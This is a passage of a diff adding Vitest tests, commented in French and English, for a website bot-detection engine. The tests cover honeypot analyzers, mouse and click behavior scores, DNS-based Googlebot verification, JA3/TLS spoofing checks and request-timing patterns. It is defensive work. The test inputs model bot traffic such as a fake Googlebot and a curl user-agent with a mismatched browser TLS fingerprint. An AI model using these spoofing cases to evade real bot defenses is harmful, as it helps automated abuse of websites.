|
1369
|
+
// This analyzer flags any request containing the word 'custom-threat'
|
|
1370
|
+
return JSON.stringify(data).includes('custom-threat');
|
|
1371
|
+
});
|
|
1372
|
+
|
|
1373
|
+
const securityConfigWithAnalyzer = {
|
|
1374
|
+
// On crée une config locale pour ce test pour éviter les interférences
|
|
1375
|
+
weights: baseSecurityConfig.weights,
|
|
1376
|
+
thresholds: baseSecurityConfig.thresholds,
|
|
1377
|
+
// Pour ce test, on désactive le challenge des nouveaux appareils pour isoler le comportement de l'analyseur.
|
|
1378
|
+
// Cela empêche une requête propre d'être challengée juste parce qu'elle est nouvelle.
|
|
1379
|
+
challengeNewDevices: false,
|
|
1380
|
+
honeypot: { // Configuration complète
|
|
1381
|
+
...baseSecurityConfig.honeypot,
|
|
1382
|
+
analyzers: [customAnalyzer]
|
|
1383
|
+
}
|
|
1384
|
+
};
|
|
1385
|
+
|
|
1386
|
+
const engine = new FingerprintEngine(securityConfigWithAnalyzer);
|
|
1387
|
+
|
|
1388
|
+
// 1. Test a request that should be flagged by the analyzer
|
|
1389
|
+
const maliciousRequestContext = {
|
|
1390
|
+
clientIp: '1.1.1.1',
|
|
1391
|
+
path: '/some-path',
|
|
1392
|
+
cookies: {},
|
|
1393
|
+
query: {},
|
|
1394
|
+
body: { comment: 'this is a custom-threat' },
|
|
1395
|
+
headers: { 'user-agent': 'A regular browser' },
|
|
1396
|
+
rawHeaders: ['user-agent', 'A regular browser'],
|
|
1397
|
+
isStatic: false,
|
|
1398
|
+
};
|
|
1399
|
+
|
|
1400
|
+
const decisionMalicious = await engine.processRequest(maliciousRequestContext);
|
|
1401
|
+
|
|
1402
|
+
expect(customAnalyzer).toHaveBeenCalledWith({ comment: 'this is a custom-threat' });
|
|
1403
|
+
expect(decisionMalicious.vector.honeypotScore).toBe(100);
|
|
1404
|
+
expect(decisionMalicious.action).toBe('block');
|
|
1405
|
+
|
|
1406
|
+
// 2. Test a normal request that should not be flagged
|
|
1407
|
+
const cleanRequestContext = {
|
|
1408
|
+
clientIp: '2.2.2.2',
|
|
1409
|
+
path: '/some-path',
|
|
1410
|
+
cookies: {},
|
|
1411
|
+
query: {},
|
|
1412
|
+
body: { comment: 'this is a normal comment' },
|
|
1413
|
+
headers: { 'user-agent': 'A regular browser', 'accept-language': 'en-US,en;q=0.9' },
|
|
1414
|
+
rawHeaders: ['user-agent', 'A regular browser', 'accept-language', 'en-US,en;q=0.9'],
|
|
1415
|
+
isStatic: false,
|
|
1416
|
+
};
|
|
1417
|
+
|
|
1418
|
+
const decisionClean = await engine.processRequest(cleanRequestContext);
|
|
1419
|
+
|
|
1420
|
+
expect(customAnalyzer).toHaveBeenCalledWith({ comment: 'this is a normal comment' });
|
|
1421
|
+
// The honeypot score should be 0 as no other traps were triggered
|
|
1422
|
+
expect(decisionClean.vector.honeypotScore).toBe(0);
|
|
1423
|
+
});
|
|
1424
|
+
});
|
|
1425
|
+
|
|
1426
|
+
describe('getBehaviorScore', () => {
|
|
1427
|
+
// La fonction est privée, on la récupère via l'export __internal
|
|
1428
|
+
// FIX: Correctly assign the function before tests run.
|
|
1429
|
+
beforeEach(() => {
|
|
1430
|
+
getBehaviorScore = fingerprint.__internal.getBehaviorScore;
|
|
1431
|
+
});
|
|
1432
|
+
|
|
1433
|
+
beforeEach(() => {
|
|
1434
|
+
getBehaviorScore = fingerprint.__internal.getBehaviorScore;
|
|
1435
|
+
});
|
|
1436
|
+
|
|
1437
|
+
it('should return a score of 0 when x-behavior-metrics header is missing', () => {
|
|
1438
|
+
const context = { headers: {} };
|
|
1439
|
+
const { behaviorScore } = getBehaviorScore(context);
|
|
1440
|
+
expect(behaviorScore).toBe(0);
|
|
1441
|
+
});
|
|
1442
|
+
|
|
1443
|
+
it('should return a score of 100 for honeypot interaction', () => {
|
|
1444
|
+
const metrics = { honeypotInteraction: true, mouseEntropy: 50, keystrokeLatency: 120 };
|
|
1445
|
+
const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
|
|
1446
|
+
const { behaviorScore } = getBehaviorScore(context);
|
|
1447
|
+
expect(behaviorScore).toBe(100);
|
|
1448
|
+
});
|
|
1449
|
+
|
|
1450
|
+
it('should return a score of 40 for no mouse or keyboard activity', () => {
|
|
1451
|
+
const metrics = { honeypotInteraction: false, mouseMovementsHistory: [], keystrokeLatency: 0 };
|
|
1452
|
+
const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
|
|
1453
|
+
const { behaviorScore } = getBehaviorScore(context);
|
|
1454
|
+
expect(behaviorScore).toBe(40);
|
|
1455
|
+
});
|
|
1456
|
+
|
|
1457
|
+
it('should return a score of 0 for normal user activity', () => {
|
|
1458
|
+
// Données de test avec un mouvement moins linéaire pour éviter la pénalité de "rectitude"
|
|
1459
|
+
const metrics = {
|
|
1460
|
+
honeypotInteraction: false,
|
|
1461
|
+
mouseMovementsHistory: [{x:10,y:10,t:1},{x:12,y:15,t:100},{x:18,y:12,t:200},{x:25,y:25,t:300}],
|
|
1462
|
+
keystrokeLatency: 88.2
|
|
1463
|
+
};
|
|
1464
|
+
const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
|
|
1465
|
+
const { behaviorScore } = getBehaviorScore(context);
|
|
1466
|
+
expect(behaviorScore).toBeLessThan(10); // Le score ne sera pas exactement 0, mais il devrait être très bas.
|
|
1467
|
+
});
|
|
1468
|
+
|
|
1469
|
+
it('should return a score of 10 for a malformed header', () => {
|
|
1470
|
+
const context = { headers: { 'x-behavior-metrics': 'this is not json' } };
|
|
1471
|
+
const { behaviorScore } = getBehaviorScore(context);
|
|
1472
|
+
expect(behaviorScore).toBe(10);
|
|
1473
|
+
});
|
|
1474
|
+
});
|
|
1475
|
+
|
|
1476
|
+
describe('getClickVarianceScore', () => {
|
|
1477
|
+
// FIX: Correctly assign the function before tests run.
|
|
1478
|
+
beforeEach(() => {
|
|
1479
|
+
getClickVarianceScore = fingerprint.__internal.getClickVarianceScore;
|
|
1480
|
+
});
|
|
1481
|
+
|
|
1482
|
+
it('should return 0 if no click history is present', () => {
|
|
1483
|
+
const context = { headers: { 'x-behavior-metrics': JSON.stringify({}) } };
|
|
1484
|
+
const { clickVarianceScore } = getClickVarianceScore(context);
|
|
1485
|
+
expect(clickVarianceScore).toBe(0);
|
|
1486
|
+
});
|
|
1487
|
+
|
|
1488
|
+
it('should return 0 if there are not enough clicks on a single target', () => {
|
|
1489
|
+
const metrics = {
|
|
1490
|
+
clicksHistory: [
|
|
1491
|
+
{ x: 10, y: 10, targetId: 'hash1' },
|
|
1492
|
+
{ x: 11, y: 11, targetId: 'hash1' },
|
|
1493
|
+
{ x: 100, y: 100, targetId: 'hash2' }
|
|
1494
|
+
]
|
|
1495
|
+
};
|
|
1496
|
+
const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
|
|
1497
|
+
const { clickVarianceScore } = getClickVarianceScore(context);
|
|
1498
|
+
expect(clickVarianceScore).toBe(0);
|
|
1499
|
+
});
|
|
1500
|
+
|
|
1501
|
+
it('should return a high score for clicks with very low variance', () => {
|
|
1502
|
+
const metrics = {
|
|
1503
|
+
clicksHistory: [
|
|
1504
|
+
{ x: 100, y: 100, targetId: 'hash1' },
|
|
1505
|
+
{ x: 100.1, y: 100.2, targetId: 'hash1' },
|
|
1506
|
+
{ x: 99.9, y: 99.8, targetId: 'hash1' }
|
|
1507
|
+
]
|
|
1508
|
+
};
|
|
1509
|
+
const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
|
|
1510
|
+
const { clickVarianceScore } = getClickVarianceScore(context);
|
|
1511
|
+
expect(clickVarianceScore).toBeGreaterThan(90);
|
|
1512
|
+
});
|
|
1513
|
+
|
|
1514
|
+
it('should return a low score for clicks with high (human-like) variance', () => {
|
|
1515
|
+
const metrics = {
|
|
1516
|
+
clicksHistory: [
|
|
1517
|
+
{ x: 105, y: 110, targetId: 'hash1' },
|
|
1518
|
+
{ x: 98, y: 102, targetId: 'hash1' },
|
|
1519
|
+
{ x: 112, y: 95, targetId: 'hash1' }
|
|
1520
|
+
]
|
|
1521
|
+
};
|
|
1522
|
+
const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
|
|
1523
|
+
const { clickVarianceScore } = getClickVarianceScore(context);
|
|
1524
|
+
expect(clickVarianceScore).toBe(0);
|
|
1525
|
+
});
|
|
1526
|
+
});
|
|
1527
|
+
|
|
1528
|
+
describe('Bot Whitelisting', () => {
|
|
1529
|
+
const inMemoryStore = {
|
|
1530
|
+
_map: new Map(),
|
|
1531
|
+
get: async (key) => inMemoryStore._map.get(key),
|
|
1532
|
+
set: async (key, value) => inMemoryStore._map.set(key, value),
|
|
1533
|
+
has: async (key) => inMemoryStore._map.has(key),
|
|
1534
|
+
delete: async (key) => inMemoryStore._map.delete(key),
|
|
1535
|
+
};
|
|
1536
|
+
|
|
1537
|
+
const securityConfig = {
|
|
1538
|
+
weights: {}, // Add empty weights to satisfy the validator
|
|
1539
|
+
thresholds: {}, // Add empty thresholds to satisfy the validator
|
|
1540
|
+
whitelist: [
|
|
1541
|
+
{ userAgent: 'Googlebot', hostnameSuffix: '.googlebot.com' },
|
|
1542
|
+
{ userAgent: 'TestBot', hostnameSuffix: '.test-verifier.com' },
|
|
1543
|
+
{ userAgent: 'MalformedRegexBot(]', hostnameSuffix: '.invalid.com' } // Invalid regex
|
|
1544
|
+
]
|
|
1545
|
+
};
|
|
1546
|
+
|
|
1547
|
+
let engine;
|
|
1548
|
+
|
|
1549
|
+
beforeEach(() => {
|
|
1550
|
+
inMemoryStore._map.clear();
|
|
1551
|
+
configureStore(inMemoryStore);
|
|
1552
|
+
vi.resetAllMocks(); // Reset mocks before each test
|
|
1553
|
+
engine = new FingerprintEngine(securityConfig);
|
|
1554
|
+
});
|
|
1555
|
+
|
|
1556
|
+
test('should verify a legitimate Googlebot', async () => {
|
|
1557
|
+
const googleIp = '66.249.66.1';
|
|
1558
|
+
const googleHostname = 'crawl-66-249-66-1.googlebot.com';
|
|
1559
|
+
|
|
1560
|
+
vi.mocked(dns.reverse).mockResolvedValue([googleHostname]);
|
|
1561
|
+
vi.mocked(dns.resolve).mockResolvedValue([googleIp]);
|
|
1562
|
+
|
|
1563
|
+
const requestContext = {
|
|
1564
|
+
clientIp: googleIp,
|
|
1565
|
+
headers: { 'user-agent': 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' }
|
|
1566
|
+
};
|
|
1567
|
+
|
|
1568
|
+
const isVerified = await engine._verifyWhitelistedBot(requestContext);
|
|
1569
|
+
expect(isVerified).toBe(true);
|
|
1570
|
+
expect(vi.mocked(dns.reverse)).toHaveBeenCalledWith(googleIp);
|
|
1571
|
+
expect(vi.mocked(dns.resolve)).toHaveBeenCalledWith(googleHostname);
|
|
1572
|
+
});
|
|
1573
|
+
|
|
1574
|
+
test('should reject a fake Googlebot with non-matching IP', async () => {
|
|
1575
|
+
const fakeGoogleIp = '1.2.3.4';
|
|
1576
|
+
const fakeHostname = 'not-google.com';
|
|
1577
|
+
|
|
1578
|
+
vi.mocked(dns.reverse).mockResolvedValue([fakeHostname]);
|
|
1579
|
+
|
|
1580
|
+
const requestContext = {
|
|
1581
|
+
clientIp: fakeGoogleIp,
|
|
1582
|
+
headers: { 'user-agent': 'Googlebot' }
|
|
1583
|
+
};
|
|
1584
|
+
|
|
1585
|
+
const isVerified = await engine._verifyWhitelistedBot({ ...requestContext, fingerprint: {} }); // Pass fingerprint
|
|
1586
|
+
expect(isVerified).toBe(false);
|
|
1587
|
+
expect(vi.mocked(dns.reverse)).toHaveBeenCalledWith(fakeGoogleIp);
|
|
1588
|
+
expect(vi.mocked(dns.resolve)).not.toHaveBeenCalled(); // Should fail at reverse lookup
|
|
1589
|
+
});
|
|
1590
|
+
|
|
1591
|
+
test('should reject a bot if forward DNS does not match back to original IP', async () => {
|
|
1592
|
+
const ip = '66.249.66.1';
|
|
1593
|
+
const hostname = 'crawl-66-249-66-1.googlebot.com';
|
|
1594
|
+
|
|
1595
|
+
vi.mocked(dns.reverse).mockResolvedValue([hostname]);
|
|
1596
|
+
vi.mocked(dns.resolve).mockResolvedValue(['66.249.66.2']); // Different IP
|
|
1597
|
+
|
|
1598
|
+
const requestContext = { clientIp: ip, headers: { 'user-agent': 'Googlebot' }, fingerprint: {} };
|
|
1599
|
+
const isVerified = await engine._verifyWhitelistedBot(requestContext);
|
|
1600
|
+
expect(isVerified).toBe(false);
|
|
1601
|
+
});
|
|
1602
|
+
|
|
1603
|
+
test('should use cache for subsequent requests from a verified IP', async () => {
|
|
1604
|
+
const googleIp = '66.249.66.1';
|
|
1605
|
+
const googleHostname = 'crawl-66-249-66-1.googlebot.com';
|
|
1606
|
+
const requestContext = { clientIp: googleIp, headers: { 'user-agent': 'Googlebot' } };
|
|
1607
|
+
|
|
1608
|
+
// First call: perform DNS lookups and cache the result
|
|
1609
|
+
vi.mocked(dns.reverse).mockResolvedValue([googleHostname]);
|
|
1610
|
+
vi.mocked(dns.resolve).mockResolvedValue([googleIp]);
|
|
1611
|
+
await engine._verifyWhitelistedBot({ ...requestContext, fingerprint: {} });
|
|
1612
|
+
expect(vi.mocked(dns.reverse)).toHaveBeenCalledTimes(1);
|
|
1613
|
+
expect(vi.mocked(dns.resolve)).toHaveBeenCalledTimes(2);
|
|
1614
|
+
|
|
1615
|
+
// Second call: should use the cache
|
|
1616
|
+
const isVerified = await engine._verifyWhitelistedBot({ ...requestContext, fingerprint: {} });
|
|
1617
|
+
expect(isVerified).toBe(true); // Should still be true
|
|
1618
|
+
// DNS functions should not be called again
|
|
1619
|
+
expect(vi.mocked(dns.reverse)).toHaveBeenCalledTimes(1);
|
|
1620
|
+
expect(vi.mocked(dns.resolve)).toHaveBeenCalledTimes(2);
|
|
1621
|
+
});
|
|
1622
|
+
|
|
1623
|
+
test('should handle invalid regex in whitelist rules gracefully', async () => {
|
|
1624
|
+
const consoleErrorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});
|
|
1625
|
+
const requestContext = {
|
|
1626
|
+
clientIp: '1.2.3.4',
|
|
1627
|
+
headers: { 'user-agent': 'MalformedRegexBot(]' }
|
|
1628
|
+
};
|
|
1629
|
+
|
|
1630
|
+
const isVerified = await engine._verifyWhitelistedBot({ ...requestContext, fingerprint: {} });
|
|
1631
|
+
expect(isVerified).toBe(false);
|
|
1632
|
+
expect(consoleErrorSpy).toHaveBeenCalledWith(expect.stringContaining('[Fingerprint] Invalid regex in whitelist rule'));
|
|
1633
|
+
consoleErrorSpy.mockRestore();
|
|
1634
|
+
});
|
|
1635
|
+
});
|
|
1636
|
+
});
|
|
1637
|
+
|
|
1638
|
+
describe('getTlsSpoofingScore', () => {
|
|
1639
|
+
let getTlsFingerprintMock; // Renamed to reflect it's the mock function
|
|
1640
|
+
let getTlsSpoofingScore;
|
|
1641
|
+
|
|
1642
|
+
beforeEach(async () => {
|
|
1643
|
+
// Spy on getTlsFingerprint to control its output for these tests
|
|
1644
|
+
getTlsFingerprintMock = vi.spyOn(fingerprint.__internal, 'getTlsFingerprint');
|
|
1645
|
+
getTlsSpoofingScore = fingerprint.__internal.getTlsSpoofingScore;
|
|
1646
|
+
});
|
|
1647
|
+
|
|
1648
|
+
afterEach(() => {
|
|
1649
|
+
getTlsFingerprintMock.mockRestore(); // Restore the spy after each test
|
|
1650
|
+
});
|
|
1651
|
+
|
|
1652
|
+
it('should return 0 if no TLS fingerprint is available', () => {
|
|
1653
|
+
getTlsFingerprintMock.mockReturnValue({ ja3: null, ja4: null });
|
|
1654
|
+
const context = { headers: { 'user-agent': 'Mozilla/5.0' } };
|
|
1655
|
+
const { tlsSpoofingScore } = getTlsSpoofingScore(context);
|
|
1656
|
+
expect(tlsSpoofingScore).toBe(0);
|
|
1657
|
+
});
|
|
1658
|
+
|
|
1659
|
+
it('should return a high score if TLS fingerprint is present but User-Agent is generic/missing', () => {
|
|
1660
|
+
getTlsFingerprintMock.mockReturnValue({ ja3: 'e188a442b87f422c5a1e80b05399435b', ja4: null }); // A known Chrome JA3
|
|
1661
|
+
const context1 = { headers: { 'user-agent': 'curl/7.64.1' } };
|
|
1662
|
+
const { tlsSpoofingScore: score1 } = getTlsSpoofingScore(context1, getTlsFingerprintMock);
|
|
1663
|
+
expect(score1).toBe(50);
|
|
1664
|
+
|
|
1665
|
+
const context2 = { headers: { 'user-agent': '' } };
|
|
1666
|
+
const { tlsSpoofingScore: score2 } = getTlsSpoofingScore(context2, getTlsFingerprintMock);
|
|
1667
|
+
expect(score2).toBe(50);
|
|
1668
|
+
|
|
1669
|
+
const context3 = { headers: {} };
|
|
1670
|
+
const { tlsSpoofingScore: score3 } = getTlsSpoofingScore(context3, getTlsFingerprintMock);
|
|
1671
|
+
expect(score3).toBe(50);
|
|
1672
|
+
});
|
|
1673
|
+
|
|
1674
|
+
it('should return a high score for browser/OS mismatch between JA3 and User-Agent', () => {
|
|
1675
|
+
// Use a known JA3 for Chrome, but a User-Agent for Firefox
|
|
1676
|
+
getTlsFingerprintMock.mockReturnValue({ ja3: 'e188a442b87f422c5a1e80b05399435b', ja4: null });
|
|
1677
|
+
const context1 = { headers: { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0' } };
|
|
1678
|
+
const { tlsSpoofingScore: score1 } = getTlsSpoofingScore(context1, getTlsFingerprintMock);
|
|
1679
|
+
expect(score1).toBe(80);
|
|
1680
|
+
|
|
1681
|
+
// Use a known JA3 for Firefox, but a User-Agent for Chrome
|
|
1682
|
+
getTlsFingerprintMock.mockReturnValue({ ja3: 'b386946a5a586163c7c533636b45c355', ja4: null });
|
|
1683
|
+
const context2 = { headers: { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36' } };
|
|
1684
|
+
const { tlsSpoofingScore: score2 } = getTlsSpoofingScore(context2, getTlsFingerprintMock);
|
|
1685
|
+
expect(score2).toBe(80);
|
|
1686
|
+
});
|
|
1687
|
+
|
|
1688
|
+
it('should return 0 for consistent JA3 and User-Agent', () => {
|
|
1689
|
+
// Consistent Chrome
|
|
1690
|
+
getTlsFingerprintMock.mockReturnValue({ ja3: 'e188a442b87f422c5a1e80b05399435b', ja4: null });
|
|
1691
|
+
const context1 = { headers: { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36' } };
|
|
1692
|
+
const { tlsSpoofingScore: score1 } = getTlsSpoofingScore(context1, getTlsFingerprintMock);
|
|
1693
|
+
expect(score1).toBe(0);
|
|
1694
|
+
|
|
1695
|
+
// Consistent Firefox
|
|
1696
|
+
getTlsFingerprintMock.mockReturnValue({ ja3: 'b386946a5a586163c7c533636b45c355', ja4: null });
|
|
1697
|
+
const context2 = { headers: { 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0' } };
|
|
1698
|
+
const { tlsSpoofingScore: score2 } = getTlsSpoofingScore(context2, getTlsFingerprintMock);
|
|
1699
|
+
expect(score2).toBe(0);
|
|
1700
|
+
});
|
|
1701
|
+
});
|
|
1702
|
+
|
|
1703
|
+
// Define patternConfig at a higher scope to be accessible by multiple describe blocks
|
|
1704
|
+
const patternConfig = {
|
|
1705
|
+
minSamples: 5, // Lower for easier testing
|
|
1706
|
+
regularityThreshold: 50,
|
|
1707
|
+
benfordThreshold: 0.15,
|
|
1708
|
+
patternWeight: 80,
|
|
1709
|
+
decayFactor: 0.9,
|
|
1710
|
+
inactivityReset: 5000,
|
|
1711
|
+
};
|
|
1712
|
+
|
|
1713
|
+
describe('getRequestPatternScore', () => {
|
|
1714
|
+
let dateNowSpy;
|
|
1715
|
+
|
|
1716
|
+
afterEach(() => {
|
|
1717
|
+
if (dateNowSpy) {
|
|
1718
|
+
dateNowSpy.mockRestore();
|
|
1719
|
+
}
|
|
1720
|
+
});
|
|
1721
|
+
|
|
1722
|
+
test('should return zero score for the first request', () => {
|
|
1723
|
+
const deviceData = { requestHistory: [] };
|
|
1724
|
+
const context = { path: '/home', query: {} };
|
|
1725
|
+
const { requestPatternScore } = getRequestPatternScore(context, deviceData, patternConfig);
|
|
1726
|
+
expect(requestPatternScore).toBe(0);
|
|
1727
|
+
});
|
|
1728
|
+
|
|
1729
|
+
test('should NOT assign a pattern score if not enough samples are collected', () => {
|
|
1730
|
+
const deviceData = {
|
|
1731
|
+
requestHistory: [],
|
|
1732
|
+
timingHistory: [100, 200, 150] // Only 3 samples, less than minSamples (5)
|
|
1733
|
+
};
|
|
1734
|
+
const context = { path: '/page', query: {} };
|
|
1735
|
+
dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(10000);
|
|
1736
|
+
|
|
1737
|
+
const { requestPatternScore } = getRequestPatternScore(context, deviceData, patternConfig);
|
|
1738
|
+
expect(requestPatternScore).toBe(0);
|
|
1739
|
+
});
|
|
1740
|
+
|
|
1741
|
+
test('should assign a high pattern score for highly regular (robotic) requests', () => {
|
|
1742
|
+
const deviceData = {
|
|
1743
|
+
requestHistory: [],
|
|
1744
|
+
timingHistory: [100, 100, 100, 100, 100, 100] // stdDev = 0, which is < regularityThreshold
|
|
1745
|
+
};
|
|
1746
|
+
const context = { path: '/page', query: {} };
|
|
1747
|
+
dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(10000);
|
|
1748
|
+
|
|
1749
|
+
const { requestPatternScore } = getRequestPatternScore(context, deviceData, patternConfig);
|
|
1750
|
+
// regularityScore = 1.0 (stdDev = 0). regularityRatio = 0.4.
|
|
1751
|
+
// instantScore = 1.0 * 0.4 * 80 = 32.
|
|
1752
|
+
expect(requestPatternScore).toBe(32);
|
|
1753
|
+
});
|
|
1754
|
+
|
|
1755
|
+
test('should assign a high pattern score for non-natural (Benford-violating) timings', () => {
|
|
1756
|
+
// This distribution of leading digits (all 9s) violates Benford's law.
|
|
1757
|
+
const deviceData = {
|
|
1758
|
+
requestHistory: [],
|
|
1759
|
+
timingHistory: [901, 923, 911, 954, 987, 932, 945, 965, 978, 999]
|
|
1760
|
+
};
|
|
1761
|
+
const context = { path: '/page', query: {} };
|
|
1762
|
+
dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(10000);
|
|
1763
|
+
|
|
1764
|
+
const { requestPatternScore } = getRequestPatternScore(context, deviceData, patternConfig);
|
|
1765
|
+
// stdDev ~ 31.29. regularityScore = 1 - (31.29 / 50) = ~0.374.
|
|
1766
|
+
// benfordDeviation ~ 2.07. benfordScore = 1.0 (capped).
|
|
1767
|
+
// weightedScore = (0.374 * 0.4) + (1.0 * 0.3) = ~0.4496.
|
|
1768
|
+
// instantScore = 0.4496 * 80 = ~35.97.
|
|
1769
|
+
expect(requestPatternScore).toBeCloseTo(35.97, 1);
|
|
1770
|
+
});
|
|
1771
|
+
|
|
1772
|
+
test('should apply decay factor to the score over time', () => {
|
|
1773
|
+
const deviceData = {
|
|
1774
|
+
requestHistory: [{ timestamp: 10000, path: '/home', queryString: '' }],
|
|
1775
|
+
lastPatternScore: 50, // Previous score
|
|
1776
|
+
timingHistory: []
|
|
1777
|
+
};
|
|
1778
|
+
const context = { path: '/contact', query: {} };
|
|
1779
|
+
|
|
1780
|
+
// Simulate a slow, non-pattern-matching request
|
|
1781
|
+
dateNowSpy = vi.spyOn(Date, 'now').mockReturnValue(12000);
|
|
1782
|
+
|
|
1783
|
+
const { requestPatternScore } = getRequestPatternScore(context, deviceData, patternConfig);
|
|
1784
|
+
|
|
1785
|
+
// Expected: (previous score * decay) + 0 (since no new pattern was detected)
|
|
1786
|
+
const expectedScore = 50 * patternConfig.decayFactor; // 50 * 0.9 = 45
|
|
1787
|
+
expect(requestPatternScore).toBe(expectedScore);
|
|
1788
|
+
});
|
|
1789
|
+
|
|
1790
|
+
it('should decay a low score towards zero after inactivity', async () => {
|
|
1791
|
+
const context = { path: '/test', query: {} };
|
|
1792
|
+
const deviceData = { requestHistory: [], timingHistory: [], lastPatternScore: 15 };
|
|
1793
|
+
const lowScore = 15;
|
|
1794
|
+
|
|
1795
|
+
// 2. Attendre
|
|
1796
|
+
await new Promise(r => setTimeout(r, 1600));
|
|
1797
|
+
|
|
1798
|
+
// 3. Le score doit avoir décru (mais pas forcément être exactement 0)
|
|
1799
|
+
const { requestPatternScore: decayedScore } = getRequestPatternScore(context, deviceData, patternConfig);
|
|
1800
|
+
expect(decayedScore).toBeLessThanOrEqual(lowScore);
|
|
1801
|
+
expect(decayedScore).toBeGreaterThanOrEqual(0);
|
|
1802
|
+
});
|
|
1803
|
+
}); // <-- AJOUT DE L'ACCOLADE FERMANTE MANQUANTE
|
|
1804
|
+
|
|
1805
|
+
describe('determineOptimalTicketTtl', () => {
|
|
1806
|
+
const { determineOptimalTicketTtl } = __internal;
|
|
1807
|
+
|
|
1808
|
+
// Les bornes définies dans la fonction (5min et 24h)
|
|
1809
|
+
const MIN_TTL = 300000;
|
|
1810
|
+
const MAX_TTL = 86400000;
|
|
1811
|
+
|
|
1812
|
+
test('should return a long TTL for a very low suspicion score', () => {
|
|
1813
|
+
const score = 5; // Very low suspicion
|
|
1814
|
+
const ttl = determineOptimalTicketTtl(score);
|
|
1815
|
+
|
|
1816
|
+
// With a low score, the TTL should be close to the maximum.
|
|
1817
|
+
// We expect a TTL of many hours.
|
|
1818
|
+
expect(ttl).toBeGreaterThan(MAX_TTL * 0.75); // Greater than 75% of the max TTL (18 hours)
|
|
1819
|
+
expect(ttl).toBeLessThanOrEqual(MAX_TTL);
|
|
1820
|
+
});
|
|
1821
|
+
|
|
1822
|
+
// Ce test est conçu pour être résilient aux variations de l'algorithme génétique.
|
|
1823
|
+
// Il réessaie jusqu'à 3 fois pour s'assurer que l'échec n'est pas dû à une mauvaise convergence ponctuelle.
|
|
1824
|
+
test('should return a short TTL for a very high suspicion score', async () => {
|
|
1825
|
+
const score = 95; // Very high suspicion
|
|
1826
|
+
const maxAttempts = 5;
|
|
1827
|
+
let lastError = null;
|
|
1828
|
+
|
|
1829
|
+
for (let attempt = 1; attempt <= maxAttempts; attempt++) {
|
|
1830
|
+
try {
|
|
1831
|
+
const ttl = determineOptimalTicketTtl(score);
|
|
1832
|
+
// With a high score, the TTL should be very short, close to the minimum.
|
|
1833
|
+
expect(ttl).toBeLessThan(MIN_TTL * 6); // Less than 6x the minimum TTL (30 minutes)
|
|
1834
|
+
expect(ttl).toBeGreaterThanOrEqual(MIN_TTL);
|
|
1835
|
+
lastError = null; // Success
|
|
1836
|
+
break; // Exit loop on success
|
|
1837
|
+
} catch (e) {
|
|
1838
|
+
lastError = e;
|
|
1839
|
+
}
|
|
1840
|
+
}
|
|
1841
|
+
if (lastError) throw lastError; // If all attempts failed, throw the last error
|
|
1842
|
+
});
|
|
1843
|
+
|
|
1844
|
+
test('should return a TTL within the valid range for a medium score', () => {
|
|
1845
|
+
const score = 50; // Moyennement suspect
|
|
1846
|
+
const ttl = determineOptimalTicketTtl(score);
|
|
1847
|
+
|
|
1848
|
+
expect(ttl).toBeGreaterThanOrEqual(MIN_TTL);
|
|
1849
|
+
expect(ttl).toBeLessThanOrEqual(MAX_TTL);
|
|
1850
|
+
});
|
|
1851
|
+
|
|
1852
|
+
// Ce test est plus difficile à déclencher, mais il valide la robustesse de la fonction.
|
|
1853
|
+
// On peut le simuler en forçant l'algorithme génétique à retourner un tableau vide.
|
|
1854
|
+
});
|
|
1855
|
+
|
|
1856
|
+
describe('getTimeInconsistencyScore', () => {
|
|
1857
|
+
const REPLAY_THRESHOLD_MS = 5000; // Doit correspondre à la valeur dans fingerprint.js
|
|
1858
|
+
|
|
1859
|
+
it('should return 0 for a normal, fresh request (clientTimestamp slightly before requestTimestamp)', () => {
|
|
1860
|
+
const requestTimestamp = Date.now();
|
|
1861
|
+
const clientTimestamp = requestTimestamp - 100; // 100ms before server reception
|
|
1862
|
+
const context = { requestTimestamp };
|
|
1863
|
+
const metrics = { clientTimestamp };
|
|
1864
|
+
|
|
1865
|
+
const { timeInconsistencyScore } = __internal.getTimeInconsistencyScore(context, metrics);
|
|
1866
|
+
expect(timeInconsistencyScore).toBe(0);
|
|
1867
|
+
});
|
|
1868
|
+
|
|
1869
|
+
it('should return a score > 0 for a replayed request (clientTimestamp significantly before requestTimestamp)', () => {
|
|
1870
|
+
const requestTimestamp = Date.now();
|
|
1871
|
+
const clientTimestamp = requestTimestamp - (REPLAY_THRESHOLD_MS + 1000); // 1 second beyond threshold
|
|
1872
|
+
const context = { requestTimestamp };
|
|
1873
|
+
const metrics = { clientTimestamp };
|
|
1874
|
+
|
|
1875
|
+
const { timeInconsistencyScore } = __internal.getTimeInconsistencyScore(context, metrics);
|
|
1876
|
+
// Expected score: ( (REPLAY_THRESHOLD_MS + 1000) / REPLAY_THRESHOLD_MS - 1) * 50
|
|
1877
|
+
// (6000 / 5000 - 1) * 50 = (1.2 - 1) * 50 = 0.2 * 50 = 10
|
|
1878
|
+
expect(timeInconsistencyScore).toBeGreaterThan(0);
|
|
1879
|
+
// Utiliser toBeCloseTo pour éviter les problèmes de précision des nombres à virgule flottante.
|
|
1880
|
+
expect(timeInconsistencyScore).toBeCloseTo(10);
|
|
1881
|
+
});
|
|
1882
|
+
|
|
1883
|
+
it('should cap the score at 100 for very large time differences', () => {
|
|
1884
|
+
const requestTimestamp = Date.now();
|
|
1885
|
+
const clientTimestamp = requestTimestamp - (REPLAY_THRESHOLD_MS * 5); // 5 times the threshold
|
|
1886
|
+
const context = { requestTimestamp };
|
|
1887
|
+
